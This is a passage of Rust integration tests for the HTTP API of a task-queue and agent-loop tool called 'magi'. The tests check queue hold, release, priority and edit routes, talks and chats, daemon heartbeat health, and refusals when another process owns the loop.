4429 let fx = Fixture::start().await;
4430 let res = fx
4431 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4432 .await;
4433 assert_eq!(res.status, 404, "{}", res.body);
4434 assert!(res.json()["error"].is_string());
4435 }
4436
4437 #[tokio::test]
4444 async fn a_task_cannot_be_filed_directly_only_through_an_interview() {
4445 let f = Fixture::start().await;
4446
4447 let res = f
4448 .post(
4449 "/api/queue",
4450 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4451 )
4452 .await;
4453
4454 assert_eq!(
4455 res.status, 405,
4456 "POST /api/queue must not be a route: {}",
4457 res.body
4458 );
4459 assert!(
4460 f.queue().list().is_empty(),
4461 "a task that skipped the interview must not reach the disk"
4462 );
4463 assert_eq!(f.get("/api/queue").await.status, 200);
4466 }
4467
4468 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4470 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4471 .expect("checkout dir");
4472 }
4473
4474 #[tokio::test]
4475 async fn repos_list_returns_name_and_path_for_every_configured_root() {
4476 let tmp = TempDir::new().expect("tempdir");
4477 let repo = tmp.path().join("repo");
4478 std::fs::create_dir_all(&repo).expect("repo dir");
4479 let root = tmp.path().join("root");
4480 make_checkout(&root, "github.com", "yukimemi", "magi");
4481 std::fs::write(
4482 repo.join("magi.toml"),
4483 format!(
4484 "[repos]\nroots = [{:?}]\n",
4485 root.to_string_lossy().into_owned()
4486 ),
4487 )
4488 .expect("write magi.toml");
4489
4490 let f = Fixture::with_repo(repo).await;
4491 let res = f.get("/api/repos").await;
4492 assert_eq!(res.status, 200, "{}", res.body);
4493 let list = res.json();
4494 let repos = list.as_array().expect("an array");
4495 assert_eq!(repos.len(), 1);
4496 assert_eq!(repos[0]["name"], "yukimemi/magi");
4497 assert!(
4498 repos[0]["path"]
4499 .as_str()
4500 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4501 "{list}"
4502 );
4503 }
4504
4505 #[tokio::test]
4506 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4507 let tmp = TempDir::new().expect("tempdir");
4508 let repo = tmp.path().join("repo");
4509 std::fs::create_dir_all(&repo).expect("repo dir");
4510 let root = tmp.path().join("root");
4511 make_checkout(&root, "github.com", "yukimemi", "magi");
4512 std::fs::write(
4513 repo.join("magi.toml"),
4514 format!(
4515 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4516 root.to_string_lossy().into_owned()
4517 ),
4518 )
4519 .expect("write magi.toml");
4520
4521 let f = Fixture::with_repo(repo).await;
4522 let first = f.get("/api/repos").await;
4523 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4524
4525 make_checkout(&root, "github.com", "yukimemi", "rvpm");
4528 let second = f.get("/api/repos").await;
4529 assert_eq!(
4530 second.json().as_array().map(Vec::len),
4531 Some(1),
4532 "a fresh cache must not rescan inside the TTL"
4533 );
4534
4535 let refreshed = f.get("/api/repos?refresh=1").await;
4536 assert_eq!(
4537 refreshed.json().as_array().map(Vec::len),
4538 Some(2),
4539 "an explicit refresh must rescan even inside the TTL"
4540 );
4541 }
4542
4543 #[tokio::test]
4544 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
4545 let f = Fixture::start().await;
4546 let res = f
4547 .post(
4548 "/api/chats",
4549 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
4550 )
4551 .await;
4552 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
4553 assert!(
4554 res.json()["error"]
4555 .as_str()
4556 .is_some_and(|e| e.contains("nosuchchat")),
4557 "the error names the id that does not exist: {}",
4558 res.body
4559 );
4560 assert!(
4561 f.chats().list().is_empty(),
4562 "a chat must not be created against an unresolvable `from`"
4563 );
4564 }
4565
4566 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4583
4584 #[tokio::test]
4585 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
4586 let tmp = TempDir::new().expect("tempdir");
4587 let repo = tmp.path().join("repo");
4588 let other = tmp.path().join("other");
4589 std::fs::create_dir_all(&repo).expect("repo dir");
4590 std::fs::create_dir_all(&other).expect("other repo dir");
4591 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4595 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4596
4597 let f = Fixture::with_repo(repo.clone()).await;
4598
4599 let default_res = f
4600 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
4601 .await;
4602 assert_eq!(default_res.status, 201, "{}", default_res.body);
4603 assert_eq!(
4604 default_res.json()["repo"],
4605 repo.canonicalize().unwrap().display().to_string(),
4606 "omitting `repo` must keep the server's own"
4607 );
4608
4609 let body = format!(
4610 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
4611 other.to_string_lossy()
4612 );
4613 let explicit_res = f.post("/api/chats", Some(&body)).await;
4614 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
4615 assert_eq!(
4616 explicit_res.json()["repo"],
4617 other.canonicalize().unwrap().display().to_string(),
4618 "an explicit `repo` must override the server's own"
4619 );
4620 }
4621
4622 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4626 let tmp = TempDir::new().expect("tempdir");
4627 let repo = tmp.path().join("repo");
4628 std::fs::create_dir_all(&repo).expect("repo dir");
4629 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4630 let f = Fixture::with_repo(repo.clone()).await;
4631 (tmp, repo, f)
4632 }
4633
4634 #[tokio::test]
4635 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
4636 let (_tmp, _repo, f) = talk_fixture().await;
4637
4638 let opened = f.post("/api/talks", None).await;
4641 assert_eq!(opened.status, 201, "{}", opened.body);
4642 let body = opened.json();
4643 assert_eq!(body["status"], "open");
4644 assert_eq!(
4645 body["turns"].as_array().unwrap().len(),
4646 0,
4647 "opening takes no agent turn: there is nothing yet to answer"
4648 );
4649
4650 let also_opened = f.post("/api/talks", Some("{}")).await;
4652 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
4653
4654 let listed = f.get("/api/talks").await.json();
4655 assert_eq!(listed.as_array().unwrap().len(), 2);
4656 }
4657
4658 #[tokio::test]
4659 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
4660 let f = Fixture::start().await;
4661 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
4662 let queue = f.queue();
4663 let mut mine = Task::new(
4664 "rename the loader".to_owned(),
4665 "rename the loader".to_owned(),
4666 PathBuf::from("/repo/magi"),
4667 Source::Agent {
4668 run: talk_id.clone(),
4669 node: "chat".to_owned(),
4670 },
4671 );
4672 queue.put(&mut mine).expect("file the task");
4673 let mut theirs = Task::new(
4674 "unrelated".to_owned(),
4675 "unrelated".to_owned(),
4676 PathBuf::from("/repo/magi"),
4677 Source::Human,
4678 );
4679 queue.put(&mut theirs).expect("file the task");
4680
4681 let res = f.get(&format!("/api/talks/{talk_id}")).await;
4682 assert_eq!(res.status, 200, "{}", res.body);
4683 let body = res.json();
4684 assert_eq!(
4685 body["status"], "open",
4686 "filing a task does not close a talk"
4687 );
4688 let tasks = body["tasks"].as_array().expect("tasks array");
4689 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
4690 assert_eq!(tasks[0]["id"], mine.id);
4691 }
4692
4693 #[tokio::test]
4694 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
4695 let (_tmp, _repo, f) = talk_fixture().await;
4696 let id = f.post("/api/talks", None).await.json()["id"]
4697 .as_str()
4698 .expect("id")
4699 .to_owned();
4700
4701 let res = f
4702 .post(
4703 &format!("/api/talks/{id}/say"),
4704 Some(r#"{"text":"what does the queue module do?"}"#),
4705 )
4706 .await;
4707 assert_eq!(res.status, 202, "{}", res.body);
4708 let queued = res.json();
4709 let turns = queued["turns"].as_array().expect("turns array");
4710 assert_eq!(
4711 turns.len(),
4712 1,
4713 "the answer reflects only what is on disk the instant it is sent, \
4714 before the agent's turn - which can run for `talk::TURN_TIMEOUT` \
4715 - has a chance to land: {queued}"
4716 );
4717 assert_eq!(turns[0]["who"], "operator");
4718 assert_eq!(turns[0]["body"], "what does the queue module do?");
4719
4720 let mut turns_after = 1;
4721 for _ in 0..200 {
4722 let detail = f.get(&format!("/api/talks/{id}")).await.json();
4723 turns_after = detail["turns"].as_array().expect("turns array").len();
4724 if turns_after == 2 {
4725 break;
4726 }
4727 tokio::time::sleep(Duration::from_millis(10)).await;
4728 }
4729 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
4730 }
4731
4732 #[tokio::test]
4733 async fn talk_close_makes_the_talk_refuse_further_turns() {
4734 let f = Fixture::start().await;
4735 let id = seed_talk(&f, "20260904-014455-cd34", "open");
4736
4737 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4738 assert_eq!(closed.status, 200, "{}", closed.body);
4739 assert_eq!(closed.json()["status"], "closed");
4740
4741 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
4743 assert_eq!(closed_again.status, 200);
4744 assert_eq!(closed_again.json()["status"], "closed");
4745 }
4746
4747 #[tokio::test]
4748 async fn talks_never_appear_in_the_planning_chat_list() {
4749 let (_tmp, _repo, f) = talk_fixture().await;
4750
4751 let opened = f.post("/api/talks", None).await;
4752 assert_eq!(opened.status, 201, "{}", opened.body);
4753
4754 let chats = f.get("/api/chats").await.json();
4755 assert!(
4756 chats.as_array().unwrap().is_empty(),
4757 "a talk must never surface as a planning chat: {chats}"
4758 );
4759 let talks = f.get("/api/talks").await.json();
4760 assert_eq!(talks.as_array().unwrap().len(), 1);
4761 }
4762
4763 #[tokio::test]
4764 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4765 let f = Fixture::start().await;
4766 let queue = f.queue();
4767 let mut task = Task::new(
4768 "spent".to_owned(),
4769 "Try again".to_owned(),
4770 PathBuf::from("/repo/magi"),
4771 Source::Human,
4772 );
4773 task.start("20260902-140502-bbbb".to_owned());
4774 task.fail("agent gave up", 9);
4775 queue.put(&mut task).expect("file the task");
4776
4777 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4778 assert_eq!(held.status, 200);
4779 assert_eq!(held.json()["status_str"], "held");
4780
4781 let released = f
4782 .post(&format!("/api/queue/{}/release", task.id), None)
4783 .await;
4784 assert_eq!(released.status, 200);
4785 assert_eq!(released.json()["status_str"], "queued");
4786 assert_eq!(
4787 released.json()["attempts"],
4788 0,
4789 "release is a real second chance, not an instant re-hold"
4790 );
4791 assert_eq!(
4792 queue.get(&task.id).expect("reload").status,
4793 TaskStatus::Queued,
4794 "the change is on disk, not only in the reply"
4795 );
4796 assert!(
4797 !f.home
4798 .path()
4799 .join("queue")
4800 .join(format!("{}.lock", task.id))
4801 .exists(),
4802 "the claim the mutation took is released again"
4803 );
4804 }
4805
4806 #[tokio::test]
4807 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4808 let f = Fixture::start().await;
4809 let queue = f.queue();
4810 let mut task = Task::new(
4811 "busy".to_owned(),
4812 "Running right now".to_owned(),
4813 PathBuf::from("/repo/magi"),
4814 Source::Human,
4815 );
4816 queue.put(&mut task).expect("file the task");
4817 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4818
4819 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4820
4821 assert_eq!(res.status, 409);
4822 assert_eq!(
4823 queue.get(&task.id).expect("reload").status,
4824 TaskStatus::Queued,
4825 "the refused hold changed nothing"
4826 );
4827 }
4828
4829 #[tokio::test]
4830 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
4831 let f = Fixture::start().await;
4832 let queue = f.queue();
4833 let mut task = Task::new(
4834 "waiting on the migration".to_owned(),
4835 "Do the thing".to_owned(),
4836 PathBuf::from("/repo/magi"),
4837 Source::Human,
4838 );
4839 queue.put(&mut task).expect("file the task");
4840
4841 let held = f
4842 .post(
4843 &format!("/api/queue/{}/hold", task.id),
4844 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
4845 )
4846 .await;
4847 assert_eq!(held.status, 200, "{}", held.body);
4848 assert_eq!(held.json()["status_str"], "held");
4849 assert_eq!(
4850 held.json()["hold_reason"],
4851 "waiting for 20260101-000000-aaaa to land"
4852 );
4853
4854 let listed = f.get("/api/queue").await.json();
4855 assert_eq!(
4856 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
4857 "the card reads the reason off the same list route"
4858 );
4859
4860 let mut plain = Task::new(
4863 "no reason given".to_owned(),
4864 "Do another thing".to_owned(),
4865 PathBuf::from("/repo/magi"),
4866 Source::Human,
4867 );
4868 queue.put(&mut plain).expect("file the task");
4869 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
4870 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
4871 assert!(held_plain.json()["hold_reason"].is_null());
4872
4873 let released = f
4874 .post(&format!("/api/queue/{}/release", task.id), None)
4875 .await;
4876 assert_eq!(released.status, 200);
4877 assert!(
4878 released.json()["hold_reason"].is_null(),
4879 "a release must clear the reason so the next hold does not inherit it"
4880 );
4881 }
4882
4883 #[tokio::test]
4884 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
4885 let f = Fixture::start().await;
4886 let queue = f.queue();
4887 let mut older = Task::new(
4888 "filed first".to_owned(),
4889 "x".to_owned(),
4890 PathBuf::from("/repo/magi"),
4891 Source::Human,
4892 );
4893 older.id = "20260101-000001-aaaa".to_owned();
4894 let mut newer = Task::new(
4895 "filed second".to_owned(),
4896 "x".to_owned(),
4897 PathBuf::from("/repo/magi"),
4898 Source::Human,
4899 );
4900 newer.id = "20260101-000002-bbbb".to_owned();
4901 queue.put(&mut older).expect("file older");
4902 queue.put(&mut newer).expect("file newer");
4903
4904 let before = f.get("/api/queue").await.json();
4907 assert_eq!(before[0]["id"], newer.id);
4908 assert_eq!(before[1]["id"], older.id);
4909
4910 let raised = f
4914 .post(
4915 &format!("/api/queue/{}/priority", older.id),
4916 Some(r#"{"priority":10}"#),
4917 )
4918 .await;
4919 assert_eq!(raised.status, 200, "{}", raised.body);
4920 assert_eq!(raised.json()["priority"], 10);
4921
4922 let after = f.get("/api/queue").await.json();
4923 let names: Vec<&str> = after
4924 .as_array()
4925 .unwrap()
4926 .iter()
4927 .map(|t| t["id"].as_str().unwrap())
4928 .collect();
4929 assert_eq!(names[0], older.id, "the raised task now sorts first");
4933 }
4934
4935 #[tokio::test]
4936 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
4937 let f = Fixture::start().await;
4938 let queue = f.queue();
4939 let mut task = Task::new(
4940 "in flight".to_owned(),
4941 "x".to_owned(),
4942 PathBuf::from("/repo/magi"),
4943 Source::Human,
4944 );
4945 task.start("20260902-140502-bbbb".to_owned());
4946 queue.put(&mut task).expect("file the task");
4947
4948 let res = f
4949 .post(
4950 &format!("/api/queue/{}/priority", task.id),
4951 Some(r#"{"priority":9}"#),
4952 )
4953 .await;
4954 assert_eq!(res.status, 400, "{}", res.body);
4955 assert!(
4956 res.json()["error"]
4957 .as_str()
4958 .is_some_and(|e| e.contains("running")),
4959 "{}",
4960 res.body
4961 );
4962 assert_eq!(
4963 queue.get(&task.id).expect("reload").priority,
4964 0,
4965 "the refused write must not partially apply"
4966 );
4967 }
4968
4969 #[tokio::test]
4970 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
4971 let f = Fixture::start().await;
4972 let queue = f.queue();
4973 let mut task = Task::new(
4974 "old title".to_owned(),
4975 "old instruction".to_owned(),
4976 PathBuf::from("/repo/magi"),
4977 Source::Agent {
4978 run: "20260101-000000-beef".to_owned(),
4979 node: "implement".to_owned(),
4980 },
4981 );
4982 task.runs.push("20260101-000000-beef".to_owned());
4983 queue.put(&mut task).expect("file the task");
4984 let created_at = task.created_at;
4985
4986 let edited = f
4987 .post(
4988 &format!("/api/queue/{}/edit", task.id),
4989 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
4990 )
4991 .await;
4992 assert_eq!(edited.status, 200, "{}", edited.body);
4993 let body = edited.json();
4994 assert_eq!(body["title"], "new title");
4995 assert_eq!(body["instruction"], "new instruction");
4996 assert_eq!(body["id"], task.id, "editing must not mint a new id");
4997 assert_eq!(body["created_at"], created_at.to_string());
4998 assert_eq!(
4999 body["source"]["kind"], "agent",
5000 "editing a task an agent filed must not turn it human: {body}"
5001 );
5002 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5003
5004 let reloaded = queue.get(&task.id).expect("reload");
5005 assert_eq!(reloaded.title, "new title");
5006 assert_eq!(reloaded.instruction, "new instruction");
5007 }
5008
5009 #[tokio::test]
5010 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5011 let f = Fixture::start().await;
5012 let queue = f.queue();
5013 let mut task = Task::new(
5014 "in flight".to_owned(),
5015 "do not touch".to_owned(),
5016 PathBuf::from("/repo/magi"),
5017 Source::Human,
5018 );
5019 task.start("20260902-140502-bbbb".to_owned());
5020 queue.put(&mut task).expect("file the task");
5021
5022 let res = f
5023 .post(
5024 &format!("/api/queue/{}/edit", task.id),
5025 Some(r#"{"title":"x","instruction":"y"}"#),
5026 )
5027 .await;
5028 assert_eq!(res.status, 400, "{}", res.body);
5029 assert!(
5030 res.json()["error"]
5031 .as_str()
5032 .is_some_and(|e| e.contains("running")),
5033 "{}",
5034 res.body
5035 );
5036 assert_eq!(
5037 queue.get(&task.id).expect("reload").instruction,
5038 "do not touch",
5039 "the refused edit must not change the file"
5040 );
5041 }
5042
5043 #[tokio::test]
5044 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5045 let f = Fixture::start().await;
5046 let queue = f.queue();
5047 let mut task = Task::new(
5048 "busy".to_owned(),
5049 "Running right now".to_owned(),
5050 PathBuf::from("/repo/magi"),
5051 Source::Human,
5052 );
5053 queue.put(&mut task).expect("file the task");
5054 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5055
5056 let priority = f
5057 .post(
5058 &format!("/api/queue/{}/priority", task.id),
5059 Some(r#"{"priority":9}"#),
5060 )
5061 .await;
5062 assert_eq!(priority.status, 409, "{}", priority.body);
5063
5064 let edit = f
5065 .post(
5066 &format!("/api/queue/{}/edit", task.id),
5067 Some(r#"{"title":"x","instruction":"y"}"#),
5068 )
5069 .await;
5070 assert_eq!(edit.status, 409, "{}", edit.body);
5071 }
5072
5073 #[tokio::test]
5074 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5075 let f = Fixture::start().await;
5076 let queue = f.queue();
5077 let mut task = Task::new(
5078 "shipped by hand".to_owned(),
5079 "merged outside the loop".to_owned(),
5080 PathBuf::from("/repo/magi"),
5081 Source::Agent {
5082 run: "20260101-000000-b455".to_owned(),
5083 node: "implement".to_owned(),
5084 },
5085 );
5086 task.runs.push("20260101-000000-b455".to_owned());
5087 task.runs.push("20260101-000000-9af4".to_owned());
5088 queue.put(&mut task).expect("file the task");
5089 let created_at = task.created_at;
5090
5091 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5092 assert_eq!(done.status, 200, "{}", done.body);
5093 assert_eq!(done.json()["status_str"], "done");
5094
5095 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5096 assert_eq!(
5097 reloaded.runs,
5098 ["20260101-000000-b455", "20260101-000000-9af4"]
5099 );
5100 assert_eq!(
5101 reloaded.source,
5102 Source::Agent {
5103 run: "20260101-000000-b455".to_owned(),
5104 node: "implement".to_owned(),
5105 }
5106 );
5107 assert_eq!(reloaded.created_at, created_at);
5108 }
5109
5110 #[tokio::test]
5111 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5112 let f = Fixture::start().await;
5117 let queue = f.queue();
5118 let mut task = Task::new(
5119 "landed while held".to_owned(),
5120 "x".to_owned(),
5121 PathBuf::from("/repo/magi"),
5122 Source::Human,
5123 );
5124 task.hold(Some("waiting on 3ed9".to_owned()));
5125 queue.put(&mut task).expect("file the held task");
5126
5127 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5128 assert_eq!(done.status, 200, "{}", done.body);
5129 assert_eq!(done.json()["status_str"], "done");
5130 assert!(
5131 done.json()["hold_reason"].is_null(),
5132 "a done task cannot still be waiting on something: {}",
5133 done.body
5134 );
5135 }
5136
5137 #[tokio::test]
5138 async fn unknown_ids_are_json_not_found_on_both_stores() {
5139 let f = Fixture::start().await;
5140
5141 let run = f.get("/api/runs/nosuchrun").await;
5142 let task = f.post("/api/queue/nosuchtask/hold", None).await;
5143
5144 assert_eq!(run.status, 404);
5145 assert_eq!(task.status, 404);
5146 assert!(
5147 run.json()["error"]
5148 .as_str()
5149 .is_some_and(|e| e.contains("run")),
5150 "the error names what was not found: {}",
5151 run.body
5152 );
5153 assert!(
5154 task.json()["error"]
5155 .as_str()
5156 .is_some_and(|e| e.contains("task")),
5157 "the error names what was not found: {}",
5158 task.body
5159 );
5160 }
5161
5162 #[tokio::test]
5163 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
5164 let f = Fixture::start().await;
5165
5166 let missing = f.get("/api/health").await.json();
5167 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
5168
5169 write_daemon(
5170 f.home.path(),
5171 Timestamp::now() - jiff::SignedDuration::from_secs(60),
5172 );
5173 let stale = f.get("/api/health").await.json();
5174 assert_eq!(
5175 stale["daemon"]["running"], false,
5176 "a minute without a heartbeat is a dead daemon, not a busy one"
5177 );
5178 assert!(
5179 stale["daemon"]["stale_for_secs"]
5180 .as_i64()
5181 .is_some_and(|s| s >= 55),
5182 "staleness is reported so the UI can say how long: {stale}"
5183 );
5184
5185 write_daemon(f.home.path(), Timestamp::now());
5186 let fresh = f.get("/api/health").await.json();
5187 assert_eq!(fresh["daemon"]["running"], true);
5188 assert_eq!(fresh["daemon"]["idle"], false);
5189 assert_eq!(fresh["daemon"]["pid"], 4242);
5190 assert_eq!(fresh["daemon"]["completed"], 7);
5191 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
5192 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
5193 }
5194
5195 #[tokio::test]
5196 async fn the_loop_is_not_running_until_something_starts_it() {
5197 let f = Fixture::start().await;
5198
5199 let view = f.get("/api/loop").await.json();
5200 assert_eq!(view["running"], false);
5201 assert_eq!(
5202 view["owned"], false,
5203 "nobody owns a loop that does not exist: {view}"
5204 );
5205 assert_eq!(view["stopping"], false);
5206 assert_eq!(view["last_error"], Value::Null);
5207 assert_eq!(view["daemon"]["running"], false);
5208 assert_eq!(
5209 view["repo"], "/repo/magi",
5210 "the repository a start would use, named before it is started"
5211 );
5212 }
5213
5214 #[tokio::test]
5215 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
5216 let f = Fixture::start().await;
5217
5218 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5219 assert_eq!(res.status, 200, "{}", res.body);
5220 let view = res.json();
5221 assert_eq!(view["running"], true);
5222 assert_eq!(
5223 view["owned"], true,
5224 "the loop the UI started is the UI's own to stop: {view}"
5225 );
5226 assert_eq!(
5227 view["merge"],
5228 Value::Null,
5229 "no override was given, so each repository's own config decides"
5230 );
5231
5232 let health = f.get("/api/health").await.json();
5236 assert_eq!(health["loop"]["running"], true, "{health}");
5237 assert_eq!(health["loop"]["owned"], true, "{health}");
5238
5239 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5240 }
5241
5242 #[tokio::test]
5243 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
5244 let f = Fixture::start().await;
5245 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5246 assert_eq!(first.status, 200, "{}", first.body);
5247
5248 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5249 assert_eq!(
5250 again.status, 409,
5251 "two loops on one queue race for the same claims: {}",
5252 again.body
5253 );
5254 assert!(
5255 again.json()["error"]
5256 .as_str()
5257 .is_some_and(|e| e.contains("already running the loop")),
5258 "the refusal has to say why: {}",
5259 again.body
5260 );
5261 assert_eq!(
5262 f.get("/api/loop").await.json()["running"],
5263 true,
5264 "and the loop that was already running is untouched by it"
5265 );
5266
5267 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5268 }
5269
5270 #[tokio::test]
5271 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
5272 let f = Fixture::start().await;
5273 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5274
5275 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5276 assert_eq!(
5277 res.status, 200,
5278 "the answer must not wait for the loop: a run in flight is tens of \
5279 minutes and the operator is holding a phone: {}",
5280 res.body
5281 );
5282
5283 let view = settled(&f, |v| v["running"] == false).await;
5284 assert_eq!(view["owned"], false);
5285 assert_eq!(
5286 view["stopping"], false,
5287 "a loop that has stopped is not still stopping: {view}"
5288 );
5289 assert_eq!(
5290 view["last_error"],
5291 Value::Null,
5292 "a loop that was asked to stop did not fail: {view}"
5293 );
5294
5295 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5298 assert_eq!(twice.status, 200, "{}", twice.body);
5299 }
5300
5301 #[tokio::test]
5302 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
5303 let f = Fixture::start().await;
5304 write_daemon(f.home.path(), Timestamp::now());
5307
5308 let view = f.get("/api/loop").await.json();
5309 assert_eq!(view["running"], false, "not in this process: {view}");
5310 assert_eq!(view["owned"], false, "and not this process's to control");
5311 assert_eq!(
5312 view["daemon"]["running"], true,
5313 "but a loop is alive somewhere, which is what the UI must say"
5314 );
5315 assert_eq!(view["daemon"]["pid"], 4242);
5316
5317 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
5318 let res = f.post("/api/loop", Some(body)).await;
5319 assert_eq!(
5320 res.status, 409,
5321 "neither button may pretend to work on someone else's loop: {}",
5322 res.body
5323 );
5324 assert!(
5325 res.json()["error"]
5326 .as_str()
5327 .is_some_and(|e| e.contains("4242")),
5328 "the refusal has to name the process the operator must go to: {}",
5329 res.body
5330 );
5331 }
5332 assert_eq!(
5333 f.get("/api/loop").await.json()["running"],
5334 false,
5335 "and the refusal started nothing"
5336 );
5337 }
5338
5339 #[tokio::test]
5340 async fn a_stale_status_file_is_not_a_foreign_owner() {
5341 let f = Fixture::start().await;
5342 write_daemon(
5343 f.home.path(),
5344 Timestamp::now() - jiff::SignedDuration::from_secs(60),
5345 );
5346
5347 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5348 assert_eq!(
5349 res.status, 200,
5350 "a daemon killed a minute ago must not lock the loop out of its \
5351 own home for good: {}",
5352 res.body
5353 );
5354 assert_eq!(res.json()["running"], true);
5355
5356 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5357 }
5358
5359 #[tokio::test]
5360 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
5361 let f = Fixture::start().await;
5362 let before = f.get("/api/health").await.json()["loop_rev"]
5363 .as_u64()
5364 .expect("a loop revision");
5365
5366 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5367
5368 let after = f.get("/api/health").await.json()["loop_rev"]
5369 .as_u64()
5370 .expect("a loop revision");
5371 assert!(
5372 after > before,
5373 "the loop is in-process state, so this counter is the only thing \
5374 that tells a second device the first one started it: {before} -> \
5375 {after}"
5376 );
5377
5378 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5379 }
5380
5381 #[tokio::test]
5382 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
5383 let f = Fixture::with_loop(launch_broken).await;
5384
5385 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5386 assert_eq!(
5387 res.status, 200,
5388 "starting it is not the failure: {}",
5389 res.body
5390 );
5391
5392 let view = settled(&f, |v| v["last_error"].is_string()).await;
5393 assert_eq!(
5394 view["running"], false,
5395 "a loop that died must not read as running, or the operator has \
5396 nothing to press: {view}"
5397 );
5398 assert_eq!(view["owned"], false);
5399 assert!(
5400 view["last_error"]
5401 .as_str()
5402 .is_some_and(|e| e.contains("read-only file system")),
5403 "the phone is where a loop that died at 3am is visible: {view}"
5404 );
5405
5406 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5409 assert_eq!(again.status, 200, "{}", again.body);
5410 assert_eq!(
5411 again.json()["last_error"],
5412 Value::Null,
5413 "a fresh start does not keep showing why the last one died"
5414 );
5415 }
5416
5417 #[tokio::test]
5429 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
5430 let home = TempDir::new().expect("temp home");
5431 let runs = home.path().join("runs");
5432 std::fs::create_dir_all(&runs).expect("runs dir");
5433 let ui = Ui::new(
5434 Queue::at(home.path().join("queue")),
5435 Questions::at(home.path().join("questions")),
5436 Chats::at(home.path().join("chats")),
5437 Talks::at(home.path().join("talks")),
5438 runs,
5439 home.path().to_path_buf(),
5440 PathBuf::from("/repo/magi"),
5441 )
5442 .with_worktrees_root(home.path().join("wt"))
5443 .with_launch(launch_knocking_on_the_way_out);
5444 let looping = ui.looping();
5445 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5446 .await
5447 .expect("bind loopback");
5448 let addr = listener.local_addr().expect("local addr");
5449 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
5450 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
5451
